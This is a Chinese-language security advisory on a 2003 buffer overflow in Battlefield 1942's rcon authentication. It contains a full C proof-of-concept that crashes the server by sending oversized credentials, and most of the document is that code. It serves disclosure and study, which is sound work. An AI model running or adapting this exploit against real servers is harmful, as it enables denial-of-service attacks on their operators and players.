Electronic Arts Battlefield 1942远程管理认证缓冲区溢出漏洞

发布时间：2003-03-09
更新时间：2003-03-09
严重程度：高
威胁程度：远程拒绝服务
错误类型：边界检查错误
利用方式：服务器模式

BUGTRAQ ID：6967

受影响系统

Electronic Arts Inc. Battlefield 1942 1.2
Electronic Arts Inc. Battlefield 1942 1.3

详细描述
Battlefield 1942是一个游戏服务器，它没有对发送到管理端口的数据作充分的检查，远程入侵者可以输入一个超长的字串而使服务器程序崩溃，导致拒绝服务攻击，只有手工重启服务器进程才能恢复功能。虽然还未得到证实，利用此漏洞远程执行任意代码也是有可能的。

测试代码
/*****************************************************************
* hoagie_bf1942_rcon.c
*
* Remote-DoS for Battlefield 1942-Servers that have their
* rcon-port activated (4711/tcp by default)
*
* Author: greuff@void.at
*
* Tested on BF-Server 1.2 on win32
*
* Credits:
*    void.at
*    ^sq, G7 and thokky
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <errno.h>
#include <netdb.h>

int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s);

int main(int argc, char **argv)
{
   int sock, rval=0;
   char *user, *pass;
   int anz=5000/*4280*//*4272*//*4200*/;
   if(argc!=3)
   {
      printf("Usage: %s servername serverport\n\n",argv[0]);
      return EX_USAGE;
   }
   user=malloc(anz+1);
   pass=malloc(anz+1);
   memset(user,0,anz+1);
   memset(user,'A',anz);
   memset(pass,0,anz+1);
   memset(pass,'B',anz);
   do
   {

rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
      if(rval==-1)
      {
         printf("Authentication failed. user=%s pass=%s\n",user,pass);
     user[1]++;
         close(sock);
      }
      else if(rval>0)
      {
         printf("Error: %s\n",strerror(rval));
         return -1;
      }
   } while(0);
   return 0;
}

/* open a session to a bf1942-server (Rcon)
*
* WARNING this is a minimalist's version of the real rcon-authentication
* (XOR's skipped)
*
* in: servername, serverport, username, pass
* out: on success: 0, serversocket in *sock
*      on error  : -1 = autherror, errno otherwise
*/
int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s)
{
   int sock, i, rval;
   struct hostent *hp;
   struct sockaddr_in inaddr;
   unsigned long l;

   char xorkey[10], buf[20];

   if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
      return errno;
   if((hp=gethostbyname(servername))<0)
      return errno;
   inaddr.sin_family=AF_INET;
   inaddr.sin_port=htons(serverport);
   memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr));
   if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0)
      return errno;

   // connection established. The first thing the server should
   // send is the XOR-Key for transmitting the username and the
   // password.
   if((i=read(sock,xorkey,10))<0)
      return errno;

   // send the username and the password...
   l=strlen(user)+1;
   if(write(sock,&l,sizeof(long))<0)
      return errno;
   if(write(sock,user,strlen(user)+1)<0)
      return errno;
   l=strlen(pass)+1;
   if(write(sock,&l,sizeof(long))<0)
      return errno;
   if(write(sock,pass,strlen(pass)+1)<0)
      return errno;

   if(read(sock,buf,20)<0)
      return errno;
   if(buf[0]==0x01)
   {
      rval=0;   // auth-ok, connection established
      *s=sock;
   }
   else
      rval=-1;      // auth-error
   return rval;
}

解决方案
厂商还未提供解决方案。

相关信息
greuff <greuff@void.at>

[VSA0307] Battlefield 1942 remote DoS
http://archives.neohapsis.com/archives/bugtraq/2003-02/0342.html

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Electronic Arts Battlefield 1942远程管理认证缓冲区溢出漏洞